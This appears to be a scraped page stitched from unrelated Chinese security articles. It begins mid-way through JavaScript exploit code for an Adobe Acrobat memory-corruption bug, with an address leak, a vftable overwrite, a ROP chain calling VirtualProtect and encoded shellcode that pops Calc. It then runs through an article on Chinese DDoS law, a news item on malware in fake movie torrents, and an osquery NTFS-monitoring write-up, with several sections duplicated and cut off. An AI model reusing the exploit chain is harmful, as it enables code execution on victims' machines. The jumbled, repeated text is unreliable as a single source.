 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)
 r = myread(ACROFORM_BASE+0xBF2E2C)
 //a86f5089230164fb6359374e70fe1739
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 /////////////////////////////////
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
 
 //app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""});
 
 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 /////////////////////////////////
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

利用该漏洞,我们可以弹出Calc:

1586794196828.png

 https://youtu.be/wZAPfW9Z0yA

若干年前读大学时候我接触的第一门专业课是“网络基础课”,还记得第一节课时老师就以ping命令为切入点介绍DDoS攻击,当时还专门告诉我们要念成“D-D-O-S”,而非“D-DOS”。时至今日,DDoS攻击依然是网络系统所面临的主要威胁之一。

简而言之,DDoS是Distributed Denial of Service的缩写,即分布式拒绝服务。简单来说是向服务器同时发布大量请求,让服务器无法及时响应正常的访问请求,以至于服务瘫痪。防御DDoS攻击当然需要技术手段,比如扩容、建立防火墙、设置CDN……但法律对于应对DDoS攻击同样重要。

一、用途

DDoS的用途非常广泛,是敲诈勒索、破坏竞争对手经营的一把利刃,甚至可以被用于提高网络游戏的胜率。

2020年1月,育碧游戏纽约地区法院起诉就DDoS攻击服务商,DDoS攻击服务商为玩家提供“炸房”服务,即玩家可以在一局游戏快失利之时对游戏服务器发动DDoS攻击,造成服务器卡顿,导致本局服务无效。“炸房”在国内也不是新鲜的话题。2019年,暴雪旗下的游戏《守望先锋》中国运营团队配合上海公安等执法机关,对《守望先锋》游戏中性质恶劣的“炸房外挂”进行重点打击。在2017年,腾讯旗下《英雄联盟》运营团队对2189名玩家因为使用“炸房”程序被全服封号。

以“DDoS”+“网络游戏”作为关键词进行检索,就会发现“炸房”更悠久的历史。比如在郑志隆、刘华刚等破坏计算机信息系统案((2012)杭拱刑初字第486号)中:

2011年下半年开始,被告人郑志隆、刘华刚因在互联网http://www.game456.com网站游戏上输钱遂起报复心理,在互联网上租用攻击控制端服务器,通过远程登录的方式操控攻击控制端服务器,对浙江凯联科技有限公司(以下简称凯联公司,住所地杭州市拱墅区湖墅南路186号1403室)运营的http://www.game456.com网络游戏服务器发起网络攻击,致使该网络游戏服务器无法正常运营,以达到操控牌局“包赢不输”的目的。

二、罪名与打击

对DDoS最大的威慑,来自于《刑法》第二百八十六条破坏计算机信息系统罪: 

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。

单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

在最高人民法院与最高人民检察院《关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》中,对破坏计算机信息系统的适用进行了明确: 

破坏计算机信息系统功能、数据或者应用程序,具有下列情形之一的,应当认定为刑法第二百八十六条第一款和第二款规定的“后果严重”:

(一)造成十台以上计算机信息系统的主要软件或者硬件不能正常运行的;

(二)对二十台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;

(三)违法所得五千元以上或者造成经济损失一万元以上的;

(四)造成为一百台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(五)造成其他严重后果的。

实施前款规定行为,具有下列情形之一的,应当认定为破坏计算机信息系统“后果特别严重”:

(一)数量或者数额达到前款第(一)项至第(三)项规定标准五倍以上的;

(二)造成为五百台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;

(三)破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序,致使生产、生活受到严重影响或者造成恶劣社会影响的;

(四)造成其他特别严重后果的。

在公安部网络安全保卫局设立的遭受DDoS攻击后如何向网监报案”,在正式立案后阿里云将配合网监部门接口人提供攻击取证。 

对于遭受DDoS攻击的受害者,报案也不是一个简单选择。从2018年8月开始,公安机关针对网络乱象已实行“一案双查”制度,即在对网络违法犯罪案件开展侦查调查工作时,同步启动对涉案网络服务提供者法定网络安全义务履行情况的监督检查。对拒不履行法定网络安全义务、为网络违法犯罪活动提供帮助的网络服务提供者,公安机关将依法对其进行严厉查处。简单来说,网站一旦被DDoS攻击而选择报案,公安机关不仅会追查发起DDoS攻击的黑客,也会同时调查遭受DDoS攻击一方是否按照《网络安全法》的要求履行网络安全义务,如完成等级保护工作。因此如果企业疏于网络安全与数据保护工作,不仅会将自己的网络系统暴露于DDoS攻击,也会让自己在报案时不那么有底气。 

在最近几年的“净网行动”中,DDoS攻击被作为重点打击对象。2019年,北京网安总队在公安部统一指挥下,针对DDoS攻击展开专项打击。截至2019年底,在全国范围内共抓获违法犯罪嫌疑人379名,清理在京被控主机7268台。专项打击期间,国内DDoS攻击控制端数量环比下降30%,参与攻击信息系统数量环比下降41%。 

三、产业链

DDoS逐渐升级,形成了复杂的产业链。DDoS如果只是通过QQ或电子邮件来威胁要求支付赎金,那么很容易根据资金的流动情况抓获黑客,但随着比特币的出现让资金流难以追查。另一方面,发起DDoS的门槛也越来越低,哪怕是小白,在所谓的“压力测试平台”也能够购买DDoS服务,甚至还可以包月。育碧起诉的sng.one就提供终身订阅与月度套餐。 

DDoS产业链示意图来自于云鼎实验室与FREEBUF发布的《深渊背后的真相之[DDoS威胁与黑灰产业调查报告]》

2018年,浙江省景宁警方破获全国首例新型DDoS黑客网络犯罪案(不知道怎么认定的首例),团伙通过搭建各自的DDoS攻击平台,通过刷百度排名,推广DDoS服务,同时客户也可以在平台上购买不同价格的“攻击套餐”。客户付钱后,只要输入需要攻击的网站网址,平台便会发起自动攻击。公安部将该案列为2018年第一批打击黑客“净网专项”快侦快破督办案件,在阿里巴巴团队的协助下,专案组摸清了这一组织的底细。

在唐小平破坏计算机信息系统案((2018)苏0684刑初664号)中,将这一产业链描绘得更加清晰:

被告人王岩受被告人唐小平委托于2017年5月建立了一个具有会员充值、任务提交功能的DDOS网站(后增加任务提醒短信接收功能),域名http://scy.087.com.cnhttp://59ddos.com。被告人唐小平通过网络推广等方式吸收有DDOS攻击需求的人员在网站进行注册会员、充值及提交DDOS攻击任务。2017年9月底开始,被告人唐小平伙同被告人肖媛在接收到DDOS攻击任务后,通过登陆取得DDOS攻击权限的境外网站,对会员提交的IP等内容进行DDOS攻击,致使被攻击的IP等内容的关联网站、服务器等计算机信息系统不能正常运行。2018年3月期间,被告人唐小平让被告人王岩将境外DDOS攻击接口直接接入该DDOS网站。经鉴定, http://scy.087.com.cn网站具备向指定IP或域名的计算机发起DDOS流量攻击的功能与能力,流量攻击过程中产生的大量网络数据包导致用户无法正常访问被攻击计算机,流量攻击能力对被攻击目标具有破坏性。该DDOS网站接受会员充值总和为***176310元(以下币种同)。

四、法律工作者也别急着走

法律关系密如蛛网,DDoS攻击中也不例外。公司的法务与外部律师需要完成评估、取证、协调公安机构、报案、起诉等。公司一旦遭遇DDoS攻击,当然首先是通过技术手段进行防御,这本身就是一项法律义务:

……在发生危害网络安全的事件时,立即启动应急预案,采取相应的补救措施,并按照规定向有关主管部门报告。

——《网络安全法》第二十五条

其次,如果公司想要维护自己的权益,找出幕后黑手并避免再次受到攻击,那么需要公安机关的介入,需要准备报案材料。报案的基础是证据,证明受到了DDoS攻击,证明受到了损失。考虑到“一案双查”制度,还需要评估自己网络系统是否已经尽到相应的网络安全责任。

DDoS的取证不是一件容易的事情,如果黑客或竞争对手直接上门联系,用实名认证过的支付宝或微信索要赎金,那么追查工作会相对容易。否则就需要依赖网络日志来追查,网络日志属于极易被篡改的电子数据,需要专业机构或取证团队对网络日志进行固定。在北京珠穆朗玛网络技术有限公司诉北京百度网讯科技有限公司不正当竞争纠纷案一审((2005)一中民初字第3218号)中,8848起诉百度发起DDoS攻击,所提交的服务器日志就没有得到法庭的认可。

DDoS攻击的受害者,除了报案以外还可以通过民商事诉讼挽回一定的损失。在打击DDoS活动中,民事手段与刑事手段可以并行不悖。如果能够找到发起DDoS攻击的源头或黑客,那么可以用不正当竞争、不当得利或侵犯财产权进行诉讼,甚至可以主张侵犯了自己的数据权益。在浙江淘宝网络有限公司诉杜某等网络侵权责任纠纷案中,面对恶意差评,淘宝使用刑事手段,还通过民事手段保护自己的数据,激活《民法总则》中数据条款(第127条)。

即使网络日志无法追踪到发起攻击的源头,也可能追踪到发起攻击的“肉鸡”,可能是个人电脑,也可能是VPS,抑或是存在安全漏洞的物联网设备。DDoS攻击的受害者,也有理由起诉这些作为“肉鸡”的疑似受害者。“肉鸡”通常来源于下载存在后门盗版软件,或服务器漏洞、物联网设备漏洞未得到及时修复。对于网络运营者或网络产品服务提供者,有义务履行《网络安全法》下的各项法律义务,如果网络运营者或网络产品服务提供者因为未履行《网络安全法》下的各项法律义务而导致自己的系统沦为发动DDoS的“肉鸡”,那么显然就存在过错,根据侵权法需要就自己的过错承担部分侵权责任。当然这只是一个简单的法律推理,需要具体案件具体分析,组织证据,目前还没读到类似的案例。

简而言之,应对DDoS攻击是一项需要多工种协同工作的危机处理工作,涉及大量利益相关方:IT、信息安全、司法鉴定、法务、外部律师、公安,需要从上到下有效的协同、演练。法律关系看似淡薄,但贯穿于所有的环节之中。

*本文作者:acstar,转载请注明来自FreeBuf.COM

Malicious-movies.jpg

由于近期抗击疫情的政策以及封锁隔离的模式,使得大多数人不得不呆在家中。因此,盗版流媒体服务和盗版电影网站在新型冠状病毒肺炎(COVID-19)大流行期间访问流量暴增。

微软警告说,

恶意行为者正在利用这一趋势,试图通过假冒的电影种子发送的恶意软件,从而感染潜在的受害者。

微软安全情报团队说: “由于现在世界许多地方仍处于封锁隔离状态,攻击者已注意到盗版流媒体服务和种子下载的使用增长情况。”

我们观察到了一个活跃的加密货币矿工活动,该活动将恶意的VBScript插入到伪装成电影下载的ZIP文件中。

加密货币矿工隐匿在盗版电影中

此活动的攻击者主要针对西班牙和一些南美国家的企业中的家庭用户,最终目标是将加密货币矿机直接发送到受损设备的内存中。

恶意VBScript被伪装成好莱坞流行电影,例如:疾速备战(John Wick: Chapter 3 – Parabellum),并使用“ John_Wick_3_Parabellum”和“ contagio-1080p”等文件名以及西班牙语标题“ Punales_por_la_espalda_BluRay_1080p”,“ La_hija_de_un_ladd ”和“ Lo-dejo-cuando-quiera”。

在目标计算机上启动VBScript后,它将通过滥用living off the land二进制文件(LOLbins),例如合法的命令行BITSAdmin工具,在后台下载其他的恶意负载。

这些附加的恶意软件组件之一是AutoIT脚本,该脚本将第二阶段DLL解码到受感染计算机的内存中,然后使用反射的方法加载第三个DLL,该DLL通过Process Hollowing将加密货币挖掘代码注入notepad.exe进程。

微软补充说:

download torrent的使用与我们的观察一致,即攻击者正在利用旧技术来制造当前的威胁。

通告.png

奥斯卡提名的电影也被用作网络钓鱼诱饵

9k=.jpg

攻击者还利用今年2月获得奥斯卡最佳影片奖的电影进行的大肆宣传,使他们的恶意软件可以感染更多的电影迷,并诱使他们进入钓鱼网页,从而获取他们的财产信息和个人信息。

其实,这并不是什么新鲜事,因为备受瞩目的电影和电视节目经常会被用作社会工程学的诱饵。

卡巴斯基(Kaspersky)研究人员发现了这些网络钓鱼攻击,

发现有20多个网络钓鱼网站和925个恶意文件以免费电影的形式出现,仅用于攻击用户。

研究人员补充说:“它们总是在流行的时机有所活动,因此它们的成功率取决于用户的需求和访问量。”

为避免被不法分子欺骗,请使用合法的流媒体平台和订阅服务,以确保您可以在观看电影或电视剧前度过一个美好的夜晚,而不必担心任何威胁。

Malicious-movies.jpg

由于近期抗击疫情的政策以及封锁隔离的模式,使得大多数人不得不呆在家中。因此,盗版流媒体服务和盗版电影网站在新型冠状病毒肺炎(COVID-19)大流行期间访问流量暴增。

微软警告说,

恶意行为者正在利用这一趋势,试图通过假冒的电影种子发送的恶意软件,从而感染潜在的受害者。

微软安全情报团队说: “由于现在世界许多地方仍处于封锁隔离状态,攻击者已注意到盗版流媒体服务和种子下载的使用增长情况。”

我们观察到了一个活跃的加密货币矿工活动,该活动将恶意的VBScript插入到伪装成电影下载的ZIP文件中。

加密货币矿工隐匿在盗版电影中

此活动的攻击者主要针对西班牙和一些南美国家的企业中的家庭用户,最终目标是将加密货币矿机直接发送到受损设备的内存中。

恶意VBScript被伪装成好莱坞流行电影,例如:疾速备战(John Wick: Chapter 3 – Parabellum),并使用“ John_Wick_3_Parabellum”和“ contagio-1080p”等文件名以及西班牙语标题“ Punales_por_la_espalda_BluRay_1080p”,“ La_hija_de_un_ladd ”和“ Lo-dejo-cuando-quiera”。

在目标计算机上启动VBScript后,它将通过滥用living off the land二进制文件(LOLbins),例如合法的命令行BITSAdmin工具,在后台下载其他的恶意负载。

这些附加的恶意软件组件之一是AutoIT脚本,该脚本将第二阶段DLL解码到受感染计算机的内存中,然后使用反射的方法加载第三个DLL,该DLL通过Process Hollowing将加密货币挖掘代码注入notepad.exe进程。

微软补充说:

download torrent的使用与我们的观察一致,即攻击者正在利用旧技术来制造当前的威胁。

通告.png

奥斯卡提名的电影也被用作网络钓鱼诱饵

9k=.jpg

攻击者还利用今年2月获得奥斯卡最佳影片奖的电影进行的大肆宣传,使他们的恶意软件可以感染更多的电影迷,并诱使他们进入钓鱼网页,从而获取他们的财产信息和个人信息。

其实,这并不是什么新鲜事,因为备受瞩目的电影和电视节目经常会被用作社会工程学的诱饵。

卡巴斯基(Kaspersky)研究人员发现了这些网络钓鱼攻击,

发现有20多个网络钓鱼网站和925个恶意文件以免费电影的形式出现,仅用于攻击用户。

研究人员补充说:“它们总是在流行的时机有所活动,因此它们的成功率取决于用户的需求和访问量。”

为避免被不法分子欺骗,请使用合法的流媒体平台和订阅服务,以确保您可以在观看电影或电视剧前度过一个美好的夜晚,而不必担心任何威胁。

Osquery是一个SQL驱动操作系统检测和分析工具,它由Facebook创建,支持像SQL语句一样查询系统的各项指标,可以用于OSX和Linux操作系统。Osquery是一个多平台软件,可以安装在Linux,Windows,MacOS和FreeBSD上。它允许我们使用基于SQL的查询来处理操作系统的配置文件、性能、安全检查等。

加密安全团队Trail of Bits开发了一个ntfs_journal_events工具,准确地说,这是一个适用于Windows的新的基于事件的osquery表,支持实时的文件更改监控。你现在就可以使用这个表来有效地监控Windows端点上特定文件、目录和整个模式的更改。具体的使用手册,请点此

1.png

为安全和管理目的而进行的文件监控

文件事件监控和审计是端点安全和管理的重要基础:

1. 许多恶意活动都是通过众所周知且易于识别的文件系统活动模式可靠地预先检测或预测的:比如重写系统库、将有效载荷放置到固定位置以及(试图)删除防御程序,所有这些都表明存在潜在的危害。

2. 非恶意的完整性违规也可以通过文件监控检测到,比如员工越狱他们的公司设备或以其他方式绕过公司制定的安全政策;

3. 跨大型机群的软件部署、更新和自动化配置:比如是否每个主机都安装了软件X并将其更新到版本Y?

4. 非安全问题故障的自动排除和修复:比如共享文件的权限不正确、网络配置错误、磁盘被过度利用。

Windows上文件监控的简要介绍

Windows上的文件监控方法通常分为以下三种:

1. Win32/WinAPI接口:FindFirstChangeNotification, ReadDirectoryChangesW;

2. 文件系统过滤器驱动程序和Minifilter,所谓的Minifilter其实就是符合过滤器标准的过滤组件,它其实是一组回调函数,这组回调函数向过滤管理器注册之后,在合适的时机(比如,要求的文件操作发生时)过滤管理器就会以合适的方式来调用某个回调函数。如果我们编写这个回调函数中的内容,就可以对文件系统加以过滤了。这比花很多精力去绑定各种设备要简单得多,因为复杂的任务都在过滤管理器里面做了。

3. 日志监控。

我们将在下面介绍每种方法的技术细节,以及它们的优缺点(包括一般性的和与osquery有关的)。

Win32 API

Windows API提供了一组(大部分)与文件系统无关的函数,用于对注册目录上的事件进行轮Windows API提供了很多与文件系统无关的函数,用于轮询注册目录中的事件:

1. FindFirstChangeNotification可用于在特定目录的条目以及所有子目录的条目上放置一组通知过滤器。

2. FindFirstChangeNotification返回的句柄可以与标准的Windows对象等待例程一起使用,例如WaitForSingleObject和WaitForMultipleObjects。

3. 等待和处理后,后续事件可以使用FindNextChangeNotification进行排队。

这些例程有几个漏洞:

1. FindFirstChangeNotification不监控指定的目录本身,只监控其条目。因此,监控目录及其条目的方法是两次调用该函数:一次为目录本身,另一次为其父目录或驱动器根目录。反过来,如果父目录中惟一感兴趣的条目是目录本身,则需要进行额外的筛选。

2. 这些例程为检索文件系统事件提供过滤和同步,但不公开事件本身或其关联的元数据。实际的事件必须通过ReadDirectoryChangesW来检索,它接受被监控目录的一个打开句柄和许多与轮询函数相同的参数,因为它可以完全独立于它们使用。为了在异步上下文中安全地使用ReadDirectoryChangesW,用户还必须熟悉OVERLAPPED,OVERLAPPED即OVERLAPPED是一个包含了用于异步输入输出的信息的结构体。

3. ReadDirectoryChangesW很难与Windows上的回收站和其他伪目录概念一起使用,这篇文章建议使用GetFinalPathNameByHandle解析最终移动的名称。这个GitHub问题表明,函数的行为在Windows版本之间也是不一致的。

4. 最后但并非最不重要的是,ReadDirectoryChangesW在内部为每个目录句柄使用一个固定大小的缓冲区,如果它不能跟上事件的数量,就会在处理所有更改记录之前刷新它们。换句话说,它的内部缓冲区不作为一个环,并且在存在大量高I/O载荷的情况下,它不会逐渐或优雅地降级。

还有一种更老的解决方案:SHChangeNotifyRegister可用于将窗口注册为通过Windows消息从shell程序(即Explorer)接收文件通知的收件人。这种方法也有很多缺点:它要求接收方应用程序维护一个窗口,即使它只是一个只显示消息的窗口,使用文件系统路径的一些奇怪的“项目列表”视图,并且受到Windows消息传递的吞吐量的限制。

总而言之,这些API的性能和准确性问题使它们不适合osquery。

过滤器驱动程序和Minifilter

与Windows环境中的许多其他工程挑战一样,文件监视具有内核模式API形式的核选择。 Windows足以为此目的提供两个常规类别:老旧文件系统过滤器API和更新的minifilter框架。我们将在这篇文章中讨论后者,因为这是微软推荐的。

Minifilter是内核模式驱动程序,它直接插入由Windows文件系统执行的I/O操作。因为它们是在公共文件系统接口层进行操作的,所以它们在大多数情况下不了解其底层存储,理论上,它们可以插入NT内核已知的任何文件系统操作,而与文件系统类型或底层实现无关。Minifilter也是可组合的,这意味着可以注册多个过滤器并与文件系统进行交互,而不会产生冲突。

Minifilter是通过过滤器管理器实现的,它根据配置的唯一“高度”(较低的海拔高度对应于较早的负载,因此较早的访问权限)和“加载顺序组”中的存在(对应于唯一的高度范围)建立一个过滤器加载顺序。加载顺序组本身是按升序加载的,其成员则是按随机顺序加载的,这意味着,与你所在组中的另一个Minifilter相比,具有更低的高度并不保证具有更高的优先级。微软提供了一些加载顺序组和高度范围的文档这里有一份已知“高度”的列表,你甚至可以自定义一个!

虽然功能强大、灵活,并且通常是在Windows上自检文件系统的正确选择,但是Minifilter不适合osquery的文件监控用途:

1. 对于树内(即非扩展)表,osquery具有禁止系统修改的策略。安装Minifilter需要我们通过加载驱动程序来修改系统,并且需要osquery随驱动程序一起提供或在安装时获取一个驱动程序。

2. 因为Minifilter是完整的内核模式驱动程序,所以它们具有不良的安全性和稳定性风险。

3. osquery的设计向用户保证:它是一个单一可执行的、用户模式的代理,在运行时自动监控它的性能开销,内核模式的驱动程序会违反这种设计。

日志监控

我们可以使用第三个选项:NTFS日志。

像大多数(相对)现代的文件系统一样,NTFS被记录在日志中:对基础存储的更改之前是对(通常是循环的)区域的更新,该区域记录了与更改相关的元数据。丹·卢(Dan Luu)的“文件充满危险”,其中包含一些以“撤消日志”形式进行日志记录的好例子。

日记功能具有许多优点:

1. 增强了抵御破坏力的能力:单个I/O操作(例如,取消链接文件)的用户空间,内核到硬件的完整操作链在内部不是原子的,这意味着崩溃可能使文件系统处于不确定状态或被破坏的状态,拥有最后一次预提交操作的日志记录使文件系统更有可能被回滚到一个已知的良好状态。

2. 因为日志提供了文件系统操作的可逆记录,所以可以更积极地与底层存储硬件进行交互:触发提交的批处理大小可以增加,从而提高性能。

3. 相对于文件系统,由于日志是及时且较小的,因此可用于避免对元数据进行昂贵的文件系统查询(例如stat)。这在Windows上尤其重要,在Windows中,元数据请求通常涉及获取完整句柄。

NTFS的日志记录机制实际上分为两个单独的组件:$LogFile是一个预写日志,用于处理日志记录以进行回滚,而更改日志($Extend\$UsnJrnl)按种类记录卷上最近的更改,不过不包含不包含回滚所需的偏移量和大小信息。

Windows将后者用于“文件历史记录”功能,这也是我们将要使用的功能。

访问变更日志

先说明一下,下面的样本已经被简化了,它们不包含错误处理和边界检查,这两项对于安全和正确使用都是必需的。在复制之前,请阅读MSDN或osquery中的完整源代码!

对于我们来说幸运的是,打开NTFS更改日志的句柄并从中读取内容是一件相对轻松的事情,只需几个步骤。

1. 我们将通过一个普通的旧的CreateFile调用获得我们想要监控的卷的句柄:

2.png

2. 我们在句柄上发出DeviceIoControl[FSCTL_QUERY_USN_JOURNAL]来获取最新的更新序列号(USN)。USN唯一标识一起提交的批记录,我们将使用第一个按时间顺序“锚定”查询:

3.png

3. 我们使用FSCTL_READ_USN_JOURNAL发出另一个DeviceIoControl,以从日志中提取记录的原始缓冲区,我们使用READ_USN_JOURNAL_DATA_V1来告诉日志只给我们从最后一步得到的USN开始的记录:

4.png

请注意最后两个字段(2U和3U),稍后再讨论。

解释变更记录缓冲区

DeviceIoControl[FSCTL_READ_USN_JOURNAL]为我们提供了一个长度可变的USN_RECORDs原始缓冲区,前面加上一个USN前缀,我们可以使用它来发出未来的请求:

5.png

然后,在process_usn_record中:

6.png

回想一下READ_USN_JOURNAL_DATA_V1中的最后两个字段,它们对应于返回给我们的USN_RECORD版本的范围。我们明确排除了v4记录,因为它们仅作为范围跟踪的一部分发出,不包含我们需要的任何附加信息,你可以在其MSDN页面上阅读有关它们的更多信息。

MSDN明确指出了这些强制转换的必要性:USN_RECORD是USN_RECORD_V2的别名,并且USN_RECORD_V3不保证具有除USN_RECORD_COMMON_HEADER之外的任何公共布局。

但是,一旦出现问题,以下两个字段均可用:

1. Reason:标志的位掩码,指示当前记录中已累积的更改。有关原因常量的列表,请参见MSDN的USN_RECORD_V2或USN_RECORD_V3。

2. FileReferenceNumber:引用底层文件系统对象的惟一(通常为128位)序号,这与可以通过调用getfileidinfo作为信息类的GetFileInformationByHandleEx来获得的FRN相同。FRN大致相当于UNIX系统中的“inode”概念,并且具有类似的语义(每个文件系统是惟一的,而不是系统范围的)。什么是inode?要理解inode,要从文件储存说起。文件储存在硬盘上,硬盘的最小存储单位叫扇区(Sector)。每个扇区储存512字节(相当于0.5KB)。操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个块(block)。这种由多个扇区组成的块是文件存取的最小单位,块的大小,最常见的是4KB,即连续八个sector组成一个block,文件数据都储存在块中,那么很明显,我们还必须找到一个地方储存文件的元信息,比如文件的创建者、文件的创年日期、文件的大小等等。这种储存元信息的区域叫做inode,中文译名为”索引节点”。

3. ParentFileReferenceNumber:另一个FRN,这个FRN表示该记录所针对的文件或目录的父目录或卷。

4. FileNameLength, FileNameOffset, FileName:字节长度、偏移量和指向该文件或目录文件名的指针。请注意,FileName是基本名称(即非限定名称),要检索完全限定名称,我们需要通过打开父FRN的句柄(OpenFileById),调用GetFinalPathNameByHandle并将二者结合来解析父FRN的名称。

通过更改日志记录文件事件,可以观察到,我们的方法已经绕过了文件监控中的许多常见性能和开销问题:我们完全异步运行,而不会阻塞文件系统,仅这一点就比在每个I/O操作上增加开销的minifilter模型有了很大的改进。

在osquery更改日志记录

上面我们介绍了通过单个卷检索和解释变更日志记录,但osquery的用例更加复杂,因为我们希望监控用户注册的每个卷,并对检索到的记录执行过滤,从而将输出限制在一组配置的模式中。

每个NTFS卷都有自己的更改日志,因此需要独立地打开和监控每个卷,而osquery的发布子框架非常适合这项任务,具体过程如下:

1. 定义一个事件发布程序(NTFSEventPublisher);

2. 在配置阶段(NTFSEventPublisher::configure()),我们从Linux的file_events表中读取用户配置:

7.png

3. 配置为我们提供了用于监控变更日志的卷的基本列表,我们为每个类创建一个USNJournalReader,并通过Dispatcher::addService()将它们作为服务添加;

4. 每个阅读器执行自己的更改日志监控和事件收集,向发布服务器报告事件列表;

5. 我们执行一些规范化,包括将“旧”和“新”事件重命名为单个NTFSEventRecords。我们还维护了一个父frn到目录名的缓存,以避免由于目录重命名而丢失的更改,并最小化我们发出的开放处理请求的数量;

6. fire()通过订阅表ntfs_journal_events使用这些规范化事件。

完成这些步骤后,就得到了上面的屏幕截图所示的基于事件的表。

8.png

总结

ntfs_journal_events表使osquery成为Windows上文件监控的首选项,并进一步减少了Windows和Linux/macOS之间osquery特性的差距(Linux/macOS拥有file_events表已经很长时间了)。

Osquery是一个SQL驱动操作系统检测和分析工具,它由Facebook创建,支持像SQL语句一样查询系统的各项指标,可以用于OSX和Linux操作系统。Osquery是一个多平台软件,可以安装在Linux,Windows,MacOS和FreeBSD上。它允许我们使用基于SQL的查询来处理操作系统的配置文件、性能、安全检查等。

加密安全团队Trail of Bits开发了一个ntfs_journal_events工具,准确地说,这是一个适用于Windows的新的基于事件的osquery表,支持实时的文件更改监控。你现在就可以使用这个表来有效地监控Windows端点上特定文件、目录和整个模式的更改。具体的使用手册,请点此

1.png

为安全和管理目的而进行的文件监控

文件事件监控和审计是端点安全和管理的重要基础:

1. 许多恶意活动都是通过众所周知且易于识别的文件系统活动模式可靠地预先检测或预测的:比如重写系统库、将有效载荷放置到固定位置以及(试图)删除防御程序,所有这些都表明存在潜在的危害。

2. 非恶意的完整性违规也可以通过文件监控检测到,比如员工越狱他们的公司设备或以其他方式绕过公司制定的安全政策;

3. 跨大型机群的软件部署、更新和自动化配置:比如是否每个主机都安装了软件X并将其更新到版本Y?

4. 非安全问题故障的自动排除和修复:比如共享文件的权限不正确、网络配置错误、磁盘被过度利用。

Windows上文件监控的简要介绍

Windows上的文件监控方法通常分为以下三种:

1. Win32/WinAPI接口:FindFirstChangeNotification, ReadDirectoryChangesW;

2. 文件系统过滤器驱动程序和Minifilter,所谓的Minifilter其实就是符合过滤器标准的过滤组件,它其实是一组回调函数,这组回调函数向过滤管理器注册之后,在合适的时机(比如,要求的文件操作发生时)过滤管理器就会以合适的方式来调用某个回调函数。如果我们编写这个回调函数中的内容,就可以对文件系统加以过滤了。这比花很多精力去绑定各种设备要简单得多,因为复杂的任务都在过滤管理器里面做了。

3. 日志监控。

我们将在下面介绍每种方法的技术细节,以及它们的优缺点(包括一般性的和与osquery有关的)。

Win32 API

Windows API提供了一组(大部分)与文件系统无关的函数,用于对注册目录上的事件进行轮Windows API提供了很多与文件系统无关的函数,用于轮询注册目录中的事件:

1. FindFirstChangeNotification可用于在特定目录的条目以及所有子目录的条目上放置一组通知过滤器。

2. FindFirstChangeNotification返回的句柄可以与标准的Windows对象等待例程一起使用,例如WaitForSingleObject和WaitForMultipleObjects。

3. 等待和处理后,后续事件可以使用FindNextChangeNotification进行排队。

这些例程有几个漏洞:

1. FindFirstChangeNotification不监控指定的目录本身,只监控其条目。因此,监控目录及其条目的方法是两次调用该函数:一次为目录本身,另一次为其父目录或驱动器根目录。反过来,如果父目录中惟一感兴趣的条目是目录本身,则需要进行额外的筛选。

2. 这些例程为检索文件系统事件提供过滤和同步,但不公开事件本身或其关联的元数据。实际的事件必须通过ReadDirectoryChangesW来检索,它接受被监控目录的一个打开句柄和许多与轮询函数相同的参数,因为它可以完全独立于它们使用。为了在异步上下文中安全地使用ReadDirectoryChangesW,用户还必须熟悉OVERLAPPED,OVERLAPPED即OVERLAPPED是一个包含了用于异步输入输出的信息的结构体。

3. ReadDirectoryChangesW很难与Windows上的回收站和其他伪目录概念一起使用,这篇文章建议使用GetFinalPathNameByHandle解析最终移动的名称。这个GitHub问题表明,函数的行为在Windows版本之间也是不一致的。

4. 最后但并非最不重要的是,ReadDirectoryChangesW在内部为每个目录句柄使用一个固定大小的缓冲区,如果它不能跟上事件的数量,就会在处理所有更改记录之前刷新它们。换句话说,它的内部缓冲区不作为一个环,并且在存在大量高I/O载荷的情况下,它不会逐渐或优雅地降级。

